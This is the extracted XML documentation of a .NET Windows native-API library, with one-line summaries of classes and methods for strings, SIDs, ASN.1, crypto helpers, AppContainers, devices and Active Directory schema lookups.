Standard UNICODE_STRING class based on a SecureString class. + + + + + Structure to use when passing in a unicode string as a sub-structure with a seure string. + + + + + Standard ANSI_STRING class + + + + + This class is used when the UNICODE_STRING is an output parameter. + The allocatation of the buffer is handled elsewhere. + + + + + Convert unicode string to an array. + + The unicode string data as an array. + + + + This class is used when the UNICODE_STRING is an output parameter. + The allocatation of the buffer is handled elsewhere. + + + + + Structure to use when passing in a unicode string as a sub-structure. + + + + + This class is used when the UNICODE_STRING needs to be preallocated + and then returned back from a caller. + + + + + Implements a UnicodeString which contains raw bytes. + + + + + Constructor. + + The bytes for the name. + + + + Get a null safe buffer. + + + + + Class to represent a user group + + + + + The SID of the user group + + + + + The attributes of the user group + + + + + Get whether the user group is enabled + + + + + Get whether the user group is mandatory + + + + + Get whether the user group is used for deny only + + + + + Get the resolved name of the SID. + + + + + Constructor + + The SID + The attributes + + + + Constructor from a SID. + + The SID + + + + Constructor from a SID or account name. + + The SID or account name. + + + + Convert to a string + + The account name if available or the SDDL SID + + + + Basic utilities for ASN1 support. + + + + + Format an array of ASN.1 DER to a string. + + The ASN.1 data in DER format. + Initial identation depth. + The formatted DER data. + + + + Format an file containing of ASN.1 DER to a string. + + The path to the file containing ASN.1 data in DER format. + Initial identation depth. + The formatted DER data. + + + + Class to do basic ASN1 DER generation. + + + + + Constructor. + + The stream to write the DER data to. + + + + Constructor. + + + + + Write an object ID. + + The object ID to write. + + + + Write raw bytes to the stream. + + The bytes to write. + + + + Write an octet-string to the stream. + + The octet string. + + + + Write a NULL value. + + + + + Write a 32-bit integer. + + The integer value. + + + + Write a 64-bit integer. + + The integer value. + + + + Write an arbitrary integer. + + The integer value. + + + + Write a sequence based on the contents of another DER builder. + + The builder for the contents. + + + + Write a sequence based on the contents of another DER builder. + + The build function for the contents. + + + + Write a sequence based on the contents of another DER builder. + + Write a sequence of fixed values. + The build function for the contents. + + + + Create a sequence builder. + + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write an application specific tag with contents from the builder. + + The ID of the application specific tag. + The builder for the contents. + + + + Write an application specific tag with contents from the builder. + + The ID of the application specific tag. + The build function for the contents. + + + + Create an application specific builder. + + The ID of the application specific tag. + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write a context specific tag with specified contents. + + The ID of the context specific tag. + The contents of the context specific value. + + + + Write a context specific tag with contents from the builder. + + The ID of the context specific tag. + The builder for the contents. + + + + Write an application specific tag with contents from the builder. + + The ID of the context specific tag. + The build function for the contents. + + + + Create a context specific builder. + + The ID of the context specific tag. + The created builder. + You should call Close or dispose on the created builder to write the tag. + + + + Write a general encoded string. + + The string + The encoding to covert to. + + + + Write a general encoded string using ASCII encoding. + + The string + + + + Write a UTF8 string. + + The UTF8 string + + + + Write an IA5 string. + + The IA5 string + + + + Write a generalized time. + + The time to write. + + + + Convert builder to a byte array. + + The DER encoded data. + + + + A DER builder for a sub-structure.. + + You should call Close or dispose the builder to write the sub-structure. + + + + Close the builder and write its contents to the parent builder. + + + + + Static class for DER builder utility functions. + + + + + A basic ASN.1 DER parser to process Kerberos and SPNEGO Tokens. + + + + + Class containing known OID values. + + + + + Class to implement a scoped file lock. + + + + + Lock part of a file. + + The file to lock. + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + True to throw on error. + The NT status code. + + + + Lock part of a file. + + The file to lock. + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + The NT status code. + + + + Unlock the file. + + + + + IMemoryReader implementation for a process. + + + + + Class to compress and decompress buffers using RtlCompressionBuffer. + + + + + Decompress a buffer. + + The compression format used. + The compressed buffer. + The expected uncompressed length. + True to throw on error. + The uncompressed buffer. + + + + Decompress a buffer. + + The compression format used. + The compressed buffer. + The expected uncompressed length. + The uncompressed buffer. + + + + IMemoryReader implementation for a process. + + + + + Class which calls a delegate on dispose. + + + + + Constructor. + + The delegate to call on dispose. + + + + Dispose and call the action. + + + + + A container which can detach an innner reference. + + + + + + Get the contained value. + + + + + Detach the object so the original isn't disposed. + + Detached object. + + + + Miscellaneous utilities. + + + + + Convert a disposable object to a detachable object. + + The disposable object type. + The disposable object. + The disposable container. + + + + Utilities for reflection. + + + + + Get the SDK name for a type, if available. + + The type to get the name for. + The SDK name. Returns the name of the type if not available. + + + + Get the SDK name for an enum, if available. + + The enum to get the name for. + The SDK name. If the enum is a flags enum then will return the names joined with commas. + + + + Get the SDK name an object. + + The object to get the name from. If this isn't an Enum or Type then the Type of the object is used. + The SDK name. + + + + Class to create a view. This never owns the handle. + + + + + Detaches the current handle and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + A buffer which contains an array of GUID pointers. + + + + + The count of GUIDs. + + + + + Constructor. + + The list of GUIDs. + + + + Get NULL safe buffer. + + + + + Basic implementation of ARC4. + + + + + Encrypt, or decrypt an ARC4 stream. + + The data to encrypt/decrypt. + Offset into the data to decrypt. + Length of data to decrypt. + The key to decrypt. + The resulting bytes. + + + + Encrypt, or decrypt an ARC4 stream. + + The data to encrypt/decrypt. + The key to decrypt. + The resulting bytes. + + + + Basic implementation of MD4. + + + This could have called out to the CNG APIs or dug into the + internals of the existing .NET crypto APIs but as MD4 is so + simple and it doesn't need to be secure (seriously don't use + this). This uses the reference implementation from RFC1320. + + + + + Calculate the MD4 hash of an input. + + The input bytes. + The MD4 hash. + + + + Calculate the MD4 hash of a string. + + The input string. + Encoding for the string. + The MD4 hash. + + + + Calculate the MD4 hash of a unicode string. + + The input string. + The MD4 hash. + + + + Class to perform the n-fold operation for Kerberos key derivation. + + + + + Perform an n-fold operation. + + The input data as a string. + The output length in bytes. + The computed n-folded byte array. + + + + Perform an n-fold operation. + + The input data. + The output length in bytes. + The computed n-folded byte array. + + + + A tree of Object Types. + + + + + Constructor. + + Entries to setup in the tree. + + + + Contructor. + + The object type GUID. + The name of the root object. + + + + Contructor. + + The object type GUID. + + + + Contructor. + + The object type GUID as a string. + + + + List of child nodes in the tree. + + + + + The parent of this tree. + + + + + The Object Type GUID. + + + + + Optional access mask for use in access checking. + + + + + Optional label for this tree entry. + + + + + Indicates the number of total entries this tree contains. + + + + + Add a new object type to the tree. + + The object type. + The name of the node. + The added tree object. + + + + Add a new object type to the tree. + + The object type. + The added tree object. + + + + Add an existing node to the tree. + + The node to add. + + + + Add an existing list of nodes to the tree. + + The nodes to add. + + + + Removes all object types from the tree. + + The object type. + The removed tree object. + + + + Removes all object types from the tree. + + The object type. + The removed tree object. + + + + Remove the current tree entry from the parent. + + + + + Convert the tree to an array. + + The array of ObjectTypeEntry objects. + + + + Clone the object type tree. + + The cloned tree. + + + + Set the access mask of this tree node and all children. + + The mask to set. + + + + Remove access mask from this tree node and children and propgate that up the tree. + + The mask to remove. + + + + Find an object type tree entry based on a GUID. + + The object type GUID. + The first entry found, null if doesn't exist. + + + + Split the tree up to reduce the maximum number of entries. + + This will try and keep whole branches together if at all possible, + but might split them up. This could result in incorrect access checking. + The maximum number of entries per tree. + One or more split trees. + + + + Overridden ToString method. + + The object formatted. + + + + Encoding object which converts 1 to 1 with bytes. + + + + + Default instance of the encoding. + + + + + Get the encoding name. + + + + + Get byte count for characters. + + The character array. + Index into the array. + Number of characters in the array to use. + The number of bytes this character array requires. + + + + Get bytes for characters. + + The character array. + Index into the array. + Number of characters in the array to use. + The index into the byte array. + The byte array to copy into. + The number of bytes generated. + + + + Get the character count for bytes. + + The byte array. + Index into the array. + Number of bytes in the array to use. + The number of characters this byte array requires. + + + + Get byte count for characters. + + The character array. + Index into the array. + Number of bytes in the array to use. + The index into the byte array. + The byte array to copy into. + The number of characters generated. + + + + Get maximum bytes for a number of characters. + + + + + + + Get maximum characters for a number of bytes. + + + + + + + Indicates if the encoding is a single byte. + + + + + A single extract string instance. + + + + + The string value. + + + + + The offset in the buffer. + + + + + True if the string was 16-bit Unicode. + + + + + Source of the string. Empty if was from a byte array. + + + + + Overridden ToString method. + + The value of the extracted string. + + + + Specify types of strings to extract. + + + + + Extract ASCII strings. + + + + + Extract Unicode strings. + + + + + Class to build a hex dump from a stream of bytes. + + + + + Append an array of bytes to the hex dump. + + The byte array. + The length of the bytes to append from the array. + The start offset in the bytes to append. + + + + Append an array of bytes to the hex dump. + + The byte array. + + + + Append a file or part of a file. + + The path to the file. + The length of the file to append. If 0 will append all remaining data. + The start offset in the file to append. + + + + Append a file or part of a file. + + The path to the file. + + + + Complete the hex dump string. + + + + + Finish builder and convert to a string. + + The hex dump. + + + + Constructor. + + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + Offset for address printing. + + + + Constructor. + + The safe buffer to print. + The length to display. + The offset into the buffer to display. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + + + + Constructor. + + The safe buffer to print. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + + + + Constructor. + + The stream to print. + Print a header. + Print the address. + Print the ASCII text. + Hide repeating lines. + Offset for address printing. + + + + Constructor. + + + + + Parse a hex dump into a byte array. + + The hex string. Can contain non-hex characters. + The parsed string as a byte array. + This won't necessarily parse correctly an arbitary hex dump, but it will if you just use the hex of the bytes. + + + + Parse a hex string into a byte array. + + The hex string. Can contain non-hex characters. + The parsed string as a byte array. + True if the parse was successful. + This won't necessarily parse correctly an arbitary hex dump, but it will if you just use the hex of the bytes. + + + + Utility class to extract strings from a byte value. + + + + + Extracts strings from a binary buffer. + + The data to search. + The length of the data to search. + The minimum string length. + The offset into the data to search. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a binary buffer. + + The data to search. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a stream. + + The stream to extract strings from. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a file. + + The file to search. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a safe buffer. + + Safe buffer to extract the value from. + The minimum string length. + The type of strings to search for. + The list of extracted strings. + + + + Extracts strings from a safe buffer. + + Safe buffer to extract the value from. + The minimum string length. + The type of strings to search for. + The length of the data to search. + The offset into the data to search. + The list of extracted strings. + + + + Class to call NT functions for manipulating strings. + + + + + Upper case a character according to the internal NTDLL string routines. + + The character to upper case. + The upper case character. + + + + Upper case a string according to the internal NTDLL string routines. + + The string to upper case. + True to throw on error. + The upper case string. + + + + Upper case a string according to the internal NTDLL string routines. + + The string to upper case. + The upper case string. + + + + Lower case a character according to the internal NTDLL string routines. + + The character to lower case. + The lower case character. + + + + Lower case a string according to the internal NTDLL string routines. + + The string to lower case. + True to throw on error. + The lower case string. + + + + Lower case a string according to the internal NTDLL string routines. + + The string to lower case. + The lower case string. + + + + Builder for a claim security attribute. + + + + + Name of the security attribute. + + + + + Attribute flags. + + + + + The value type. + + + + + The current list of values. + + + + + Convert build to a claim attribute. + + + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + The name of the security attribute. + The attribute flags. + The value for the attribute. + The builder instance. + + + + Create a claim security attribute builder. + + An existing attribute to clone. + The builder instance. + + + + A class which represents an AppContainer profile. + + + + + Create a new AppContainerProfile. + + The name of the AppContainer. + A display name. + An optional description. + An optional list of capability SIDs. + True to throw on error. + The created AppContainer profile. + If the profile already exists then it'll be opened instead. + + + + Create a new AppContainerProfile. + + The name of the AppContainer. + A display name. + An optional description. + An optional list of capability SIDs. + The created AppContainer profile. + If the profile already exists then it'll be opened instead. + + + + Create a temporary AppContainer profile. + + List of capabilities for the AppContainer profile. + The created AppContainer profile. + The profile will be marked to DeleteOnClose. In order to not leak the profile you + should wait till the process has exited and dispose this profile. + + + + Create a temporary AppContainer profile. + + The created AppContainer profile. + The profile will be marked to DeleteOnClose. In order to not leak the profile you + should wait till the process has exited and dispose this profile. + + + + Opens an AppContainerProfile. + + The name of the AppContainer. + True to throw no error. + The opened AppContainer profile. + This method doesn't check the profile exists. + + + + Opens an AppContainerProfile. + + The name of the AppContainer. + The opened AppContainer profile. + This method doesn't check the profile exists. + + + + Opens an AppContainerProfile and checks it exists. + + The name of the AppContainer. + True to throw no error. + The opened AppContainer profile. + This checks for the existence of the profile and also populates the additional information. + + + + Opens an AppContainerProfile and checks it exists. + + The name of the AppContainer. + The opened AppContainer profile. + This checks for the existence of the profile and also populates the additional information. + + + + Delete an existing profile. + + The AppContainer name. + True to throw on error. + The HRESULT from the delete operation. + + + + Delete an existing profile. + + The AppContainer name. + + + + Enumerate all AppContainer profiles. + + True to throw on error. + The list of appcontainer profiles. + + + + Enumerate all AppContainer profiles. + + The list of appcontainer profiles. + + + + Delete an existing profile. + + True to throw on error. + The HRESULT from the delete operation. + + + + Delete an existing profile. + + + + + Dispose of the AppContainer profile. If DeleteOnClose is set then the profile will be deleted. + + + + + Close an AppContainer profile. If DeleteOnClose is set then the profile will be deleted. + + + + + Open the AppContainer key. + + The desired access for the key. + True to throw on error. + The opened key. + + + + The AppContainer name. + + + + + The package SID + + + + + Path to the AppContainer profile directory. + + + + + Path to the AppContainer key. + + + + + Set to true to delete the profile when closed. + + + + + Get list of capabilities assigned to this AppContainer profile. + + + + + The display name for the AppContainer profile. + + + + + The description for the AppContainer profile. + + + + + Utilities for AppModel applications. + + + + + Activate an application from its Application Model ID. + + The app model ID. + Arguments for the activation. + True to throw on error. + The PID of the process. + + + + Activate an application from its Application Model ID. + + The app model ID. + Arguments for the activation. + The PID of the process. + + + + Get the list of package SIDs with a loopback exception. + + True to throw on error. + The list of package SIDs with a loopback exception. + + + + Get the list of package SIDs with a loopback exception. + + The list of package SIDs with a loopback exception. + + + + Add a loopback exception to the list. + + The package SID to add. + True to throw on error. + The NT status code. + + + + Add a loopback exception to the list. + + The package SID to add. + + + + Remove a loopback exception from the list. + + The package SID to remove. + True to throw on error. + The NT status code. + + + + Remove a loopback exception to the list. + + The package SID to remove. + + + + State of the console session. + + + + + User logged on to WinStation + + + + + WinStation connected to client + + + + + In the process of connecting to client + + + + + Shadowing another WinStation + + + + + WinStation logged on without client + + + + + Waiting for client to connect + + + + + WinStation is listening for connection + + + + + WinStation is being reset + + + + + WinStation is down due to error + + + + + WinStation in initialization + + + + + Class to represent a console session. + + + + + The session ID. + + + + + The Session Name. + + + + + The Username if any user authenticated. + + + + + The Domain Name for the User. + + + + + The Console Session State. + + + + + The hostname for the client. + + + + + The Farm name for Virtual Machine Farm. + + + + + Get the FQ User Name. + + + + + Type information for an array. + + + + + Get array element type. + + + + + Get number of array elements. + + + + + Type information for a base type. + + + + + Symbol information for a data value. + + + + + Address of the symbol. + + + + + Enumerated type value. + + + + + Name of the value. + + + + + The value as an int64. + + + + + Symbol information for an enumerated type. + + + + + Get the values for the enumerated type. + + + + + Class for a function parameter. + + + + + Name of the parameter. + + + + + Type of the parameter. + + + + + Type information for a function. + + + + + Type for the return type. + + + + + List of function parameters. + + + + + Interface for symbol type resolver. + + + + + Query types in a module. + + The base address of the module. + The list of types. + + + + Query names of types in a module. + + The base address of the module. + The list of type names. + + + + Get a type by name. + + The base address of the module containing the type. + The name of the type. + + + + + Query types by name + + The base address of the module containing the type. + A mask string for the type name. e.g. mod!ABC* + The list of types. + + + + Get the address of a symbol. + + The name of the symbol, should include the module name, e.g. modulename!MySymbol. + The symbol type. + + + + Get the address of a symbol. + + The address of the symbol. + The symbol type. + + + + Type information for a pointer value. + + + + + Get the type this pointer references. + + + + + Indicates this pointer is a reference. + + + + + The name of the symbol. + + + + + Class to represent a symbol information. + + + + + The name of the symbol. + + + + + Size of the symbol. + + + + + Get the loaded module for the symbol. + + + + + Type of the symbol. + + + + + Internal type index. + + + + + Overridden ToString method. + + Returns the symbol name. + + + + Enumeration for symbol type information. + + + + + None. + + + + + UDT. + + + + + Enumerated type. + + + + + A base type. + + + + + A function type. + + + + + A pointer type. + + + + + Undefined. + + + + + Flags for the symbol resolver. + + + + + No flags. + + + + + Trace symbol file loading + + + + + Disable resolving export symbols if no PDB can be found. + + + + + Enable a symbol server fallback. If the copy of dbghelp doesn't have a symsrv.dll + then download from a public symbol URL to a local cache directory during symbol + resolving. + + + + + Symbol information for a type. + + + + + Represents a member of a UDT. + + + + + The type of the member. + + + + + The name of the member. + + + + + The offset into the UDT. + + + + + The size of the member. + + + + + Represents a bit field member of a UDT. + + + + + If a bit field then this is the bit start position. + + + + + If a bit field this is the bit length. + + + + + Symbol information for an enumerated type. + + + + + The members of the UDT. + + + + + Indicates the UDT is a union. + + + + + Class to capture Win32 debug output. + + + + + Create an instance of the Win32 debug console. + + The session ID for the console. Set to 0 to capture global output. + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console. + + The session ID for the console. Set to 0 to capture global output. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for current session. + + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for current session. + + The Win32 debug console. + + + + Create an instance of the Win32 debug console for the global session. + + True to throw on error. + The Win32 debug console. + + + + Create an instance of the Win32 debug console for the global session. + + The Win32 debug console. + + + + Read a debug string from for the console asynchronously. + + The timeout in milliseconds. + Cancellation token. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console asynchronously. + + The timeout in milliseconds. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console asynchronously. + + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console. + + The timeout in milliseconds. + The Win32 debug string. If timed out then Output property is null. + + + + Read a debug string from for the console. + + The Win32 debug string. If timed out then Output property is null. + + + + Attach the debug console to another session. + + The session ID. + True to throw on error. + The NT status code. + + + + Attach the debug console to another session. + + The session ID. + + + + Dispose debug console. + + + + + Structure for a debug string event. + + + + + The process ID. + + + + + The output string. + + + + + Class to hold known bus type GUIDs. + + + + + Class to represent a device interface. + + + + + The name of the interface class. + + + + + The device interface GUID. + + + + + The list of device interface instances. + + + + + The list of all device interface properties. + + The device interface properties. + + + + Class containing well known device interface class GUIDs. + + + + + Convert interface class GUID to a string. + + + The name of the interface class GUID. + + + + Get the list of known interface GUIDs. + + The list of known interface guids. + + + + Class to represent a device interface instance. + + + + + The instance path to the device. + + + + + The raw device path. + + + + + The device interface class GUID. + + + + + The device instance ID for the device node. + + + + + Overridden ToString method. + + The Win32Path. + + + + The list of all device interface instance properties. + + The device interface instance properties. + + + + Device property types. + + + + + Class representing a device node. + + + + + The name of the device instance. + + + + + The device setup class GUID. + + + + + The device instance ID. + + + + + Get the device PDO name. + + + + + Get the device INF name. + + + + + Get the device INF path. + + + + + Get the device stack. + + + + + The the device stack as a list of driver paths. + + + + + Indicates if this is a per-session device. If null then not defined. + + + + + Indicates if this instance is present. + + + + + Indicates the name of the SCM service for the driver. + + + + + Get path to the driver. + + + + + Get driver start type. + + + + + Get the parent device node. + + The parent device node. Returns null if reached the root. + + + + List of upper filters. + + + + + List of lower filters. + + + + + Container ID. + + + + + Type of bus for the device. + + + + + Get if the device is a user-mode device. + + + + + The list of all device properties. + + The device properties. + + + + Get the setup class for this instance. + + Returns the setup class. + Thrown if invalid setup GUID. + + + + Get list of parent nodes. + + The list of parent nodes. + + + + Overridden ToString method. + + + + + + Optional security descriptor for device node. + + + + + Indicates the device node has a security descriptor. + + + + + Device property. + + + + + The name of the property, if known. + + + + + The FMTID Guid. + + + + + The PID. + + + + + The device property type. + + + + + Property data. + + + + + Format the data according to type. + + The formatted data. + + + + ToString method. + + The property as a string. + + + + Class to represent a device setup class. + + + + + The friendly name of the device. + + + + + The name of the device class. + + + + + The device class installer Guid. + + + + + The security descriptor for the device (if available). + + + + + Indicates the device setup class has a security descriptor. + + + + + The device type. + + + + + The device characteristics. + + + + + List of upper filters. + + + + + List of lower filters. + + + + + The list of all device setup properties. + + The device setup properties. + + + + Get device instances. + + Return all devices. + The list of devices instances. + + + + Get device instances. + + The list of devices instances. + + + + Enumerated type for device stack type. + + + + + Unknown type. + + + + + Entry is for the function driver. + + + + + Entry is for the bus driver. + + + + + Entry is for an upper filter. + + + + + Entry is for the lower filter. + + + + + Entry is for a filter. + + + + + Class to represent an entry on the stack. + + + + + Name of the driver. + + + + + Path to the driver. + + + + + Stack entry type. + + + + + Overridden ToString method. + + The name of the driver in the stack. + + + + Class to represent a node in a device tree. + + + + + List of child nodes. + + + + + Indicates if the node has any children. + + + + + Get the parent device node. + + The parent device node. Returns null if reached the root. + + + + Utilities for interacting with Device, Configuration and Setup APIs. + + + + + Get a list of device interfaces from an Interface GUID. + + The interface class GUID for the device. + Optional device ID. + True to get all devices, otherwise just present devices. + List of device interfaces. + + + + Get a list of present device interfaces from an Inteface GUID. + + The interface class GUID for the device. + List of device interfaces. + + + + Enumerate installer class GUIDs. + + The list of installer class GUIDs. + + + + Enumerate interface class GUIDs. + + The list of interface class GUIDs. + + + + Query the security descriptor for a device. + + The installer device class. + True to throw on error. + The security descriptor. + + + + Query the security descriptor for a device. + + The installer device class. + The security descriptor. + + + + Get list of registered device setup classes. + + The list of device setup classes. + + + + Get a device setup class by GUID. + + The class GUID. + The device setup class. + + + + Get list of registered device interfaces. + + True to return all devices. + The list of device interfaces. + + + + Get list of registered device interfaces. + + The list of device interfaces. + + + + Get a device interface class by GUID. + + The class GUID. + True to return all devices. + The device interface class. + + + + Get a device interface class by GUID. + + The class GUID. + The device interface class. + + + + Get list of device nodes. + + Return all devices including ones which aren't present. + The list of device nodes. + + + + Get list of present device nodes. + + The list of device entries. + + + + Get list of device entries. + + Specify the Device Setup Class GUID. + Only return present devices. + The list of device entries. + + + + Get list of present device entries. + + Specify the Device Setup Class GUID. + The list of device entries. + + + + Get the device node from a device ID. + + The instance ID to lookup.. + The device node. + + + + Get device tree. + + The device tree's root node. + + + + Get the node from a device instance ID. + + The instance ID to start from. + The root device node. + + + + Get all device interface instances. + + + + + Get all device interface instances for a given interface class GUID. + + + + + Get an interface instance from the interface instance path. + + The path to the interface symbolic link. e.g. \??\SOME$VALUE. + + + + Interface to indicate the device object has properties. + + + + + The list of all device properties. + + The device properties. + + + + Access rights for Active Directory Services. + + + + + Class to represent a binding to a directory service. + + + + + Crack one or more names on the domain controller. + + Flags for the cracking. + Format of the names. + Desired format of the names. + The list of names to crack. + True to throw on error. + The cracked names. + + + + Crack one or more names on the domain controller. + + Flags for the cracking. + Format of the names. + Desired format of the names. + The list of names to crack. + The cracked names. + + + + Crack a name on the domain controller. + + Flags for the cracking. + Format of the name. + Desired format of the name. + The name to crack. + True to throw on error. + The cracked name. + + + + Crack a name on the domain controller. + + Flags for the cracking. + Format of the name. + Desired format of the name. + The name to crack. + The cracked name. + + + + Get naming contexts for domain. + + True to throw on error. + The naming contexts. + + + + Get naming contexts for domain. + + The naming contexts. + + + + Bind to a directory service. + + The name of the domain controller. Can be null. + The DNS domain name. + True to throw on error. + The directory service binding. + + + + Bind to a directory service. + + The name of the domain controller. Can be null. + The DNS domain name. + The directory service binding. + + + + Bind to the current directory service. + + The directory service binding. + + + + Dispose the binding. + + + + + Class to represent an directory service extended right queries from the current domain. + + + + + The common name of the extended right. + + + + + The distinguished name for the extended right. + + + + + The domain name searched for this extended right. + + + + + The rights GUID for this extended right. + + + + + The list of applies to GUIDs. + + + + + The valid accesses for this extended right. + + + + + Get list of properties if a property set. + + + + + True if this a property set extended right. + + + + + True if this is a validated write extended right. + + + + + True if this is a control extended right. + + + + + Overridden ToString method. + + The name of the extended right. + + + + Convert the extended right to an object type tree. + + The tree of object types. + + + + Convert the extended right to an object type tree. + + The extended right to convert. + The tree of object types. + + + + Flags and settings from the dSHeuristics attribute. + + + + + The fSupFirstLastANR flag. + + + + + The fSupLastFirstANR flag. + + + + + The fDoListObject flag. + + + + + The fLDAPBlockAnonOps flag. + + + + + The fAllowAnonNSPI flag. + + + + + The fDontStandardizeSDs flag. + + + + + The raw value for the dsHeuristics attribute. + + + + + The domain where the value was read. + + + + + Directory services name error. + + + + + Directory services name flags. + + + + + Directory services name format. + + + + + Structure to represent a directory service name. + + + + + Status of the name. + + + + + Domain of the name. + + + + + Name of the name. + + + + + Native methods for directory services. + + + + + Object type level for a directory object. + + + + + Object type. + + + + + Property set type. + + + + + Property type. + + + + + Class to represent an a class which is referenced from another. For example auxiliary or superior classes. + + + + + The name of the class. + + + + + Whether the class is a system class. + + + + + Get the full schema class for this reference. + + The schema class. + + + + Class to represent a directory service schema attribute. + + + + + The attributes syntax. + + + + + The OM syntax. + + + + + The OM object class. + + + + + The name of the attribute syntax type if known. + + + + + The GUID of the containing property set, if it exists. + + + + + Indicates if the attribute is in a property set. + + + + + Class to represent a directory service schema class. + + + + + The subclass schema name. + + + + + List of attributes the class can contain. + + + + + The default security descriptor. + + + + + The default security descriptor in SDDL format. + + + + + The list of auxiliary classes for this class. + + + + + The category of schema class. + + + + + The list of possible superior classes for this class. + + + + + Possible inferiors of the class. + + + + + Structure to represent an attribute for a class. + + + + + The name of the attribute. + + + + + True if the attribute is required. + + + + + True if the attribute can only be modified by system. + + + + + Get the hash code for the attribute. + + The hash code. + + + + Check attributes for equality. + + The other attribute to check. + True if equal. + + + + Overridden ToString method. + + The name of the attribute. + + + + Represents the type of schema class. + + + + + Legacy class. + + + + + Structure class (can be created). + + + + + Abstract class. + + + + + Auxiliary class. + + + + + Base class for a schema class or attribute object. + + + + + The GUID of the schema class. + + + + + The name of the schema class. + + + + + The LDAP display name. + + + + + The object class for the schema class. + + + + + The distinguished name for the schema class. + + + + + The domain name searched for this schema class. + + + + + The admin description for the object. + + + + + Indicates if this schema object is system only. + + + + + Overridden ToString method. + + The name of the schema class. + + + + Convert the schema class to an object type tree. + + The tree of object types. + + + + Convert the extended right to an object type tree. + + The schema class to convert. + The tree of object types. + + + + Class to represent a security principal in the directory. + + + + + Distinguished name of the group. + + + + + The SID of the object. + + + + + Overridden Equals. + + The other object to test. + True if equal. + + + + Overridden GetHashCode. + + The hash code. + + + + User flags. + + + + + Class implementing various utilities for directory services. + + + + + Name for the fake Directory Service NT type. + + + + + Get the generic mapping for directory services. + + The directory services generic mapping. + + + + Get a fake NtType for Directory Services. + + The fake Directory Services NtType + + + + Get the default property set. + + + + + Get the schema class for a GUID. + + Specify the domain to get the schema class for. + The GUID for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a GUID. + + The GUID for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the schema class. + The schema class, or null if not found. + + + + Get the schema class for a LDAP name. + + The LDAP name for the schema class. + The schema class, or null if not found. + + + + Get the inferior schema class for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the parent schema class. + The schema classes. + + + + Get the inferior schema class for a LDAP name. + + The LDAP name for the schema class. + The schema classes. + + + + Get the auxiliary schema classes for a LDAP name. + + Specify the domain to get the schema class for. + The LDAP name for the parent schema class. + The schema classes. + + + + Get the auxiliary schema classes for a LDAP name. + + The LDAP name for the schema class. + The schema classes. + + + + Get all schema classes. + + Specify the domain to get the schema classes for. + The list of schema classes. + + + + Get all schema classes. + + The list of schema classes. + + + + Get all schema classes in a hierarchy. + + Specify the domain to get the schema classes for. + Specify to include auxiliary classes in the list. + The name of the base schema class. + The list of schema classes. + + + + Get all schema classes in a hierarchy. + + Specify to include auxiliary classes in the list. + The name of the base schema class. + The list of schema classes. + + + + Get the common name of an schema object class. + + Specify the domain to get the schema class for. + The GUID for the schema class. + The common name of the schema class, or null if not found. + + + + Get the common name of an schema object class. + + The GUID for the schema class. + The common name of the schema class, or null if not found. + + + + Get the schema attribute for a GUID. + + Specify the domain to get the schema attribute for. + The GUID for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a GUID. + + The GUID for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a LDAP name. + + Specify the domain to get the schema attribute for. + The LDAP name for the schema attribute. + The schema attribute, or null if not found. + + + + Get the schema attribute for a LDAP name. + + The LDAP name for the schema attribute. + The schema attribute, or null if not found. + + + + Get all schema attributes. + + Specify the domain to get the schema attributes for. + The list of schema attributes. + + + + Get all schema attributes. + + The list of schema attributes. + + + + Get the common name of a schema attribute. + + Specify the domain to get the schema attribute for. + The GUID for the schema attribute. + The common name of the schema attribute, or null if not found. + + + + Get the common name of a schema attribute. + + The GUID for the schema attribute. + The common name of the schema attribute, or null if not found. + + + + Get the extended right name by GUID. + + Specify the domain for the extended right. + The GUID for the extended right. + If true and the right is a property set, expand the name. + The name of the extended right, or null if not found. + + + + Get the extended right name by GUID. + + The GUID for the extended right. + If true and the right is a property set, expand the name. + The name of the extended right, or null if not found. + + + + Get an extended right by GUID. + + Specify the domain to get the extended right for. + The GUID for the extended right. + The extended right, or null if not found. + + + + Get an extended right by GUID. + + The GUID for the extended right. + The extended right, or null if not found. + + + + Get an extended right by common name. + + Specify the domain to get the extended right for. + The common name for the extended right. + The extended right, or null if not found. + + + + Get an extended right by common name. + + The common name for the extended right. + The extended right, or null if not found. + + + + Get a list of all extended rights in the current domain. + + Specify the domain to get the extended rights from. + The list of extended rights. + + + + Get a list of all extended rights in the current domain. + + The list of extended rights. + + + + Get a list of extended rights applied to a schema class. + + Specify the domain to get the extended rights from. + The schema class identifier. + The list of extended rights applies to the schema class. + + + + Get a list of extended rights applied to a schema class in the current domain. + + The schema class identifier. + The list of extended rights applies to the 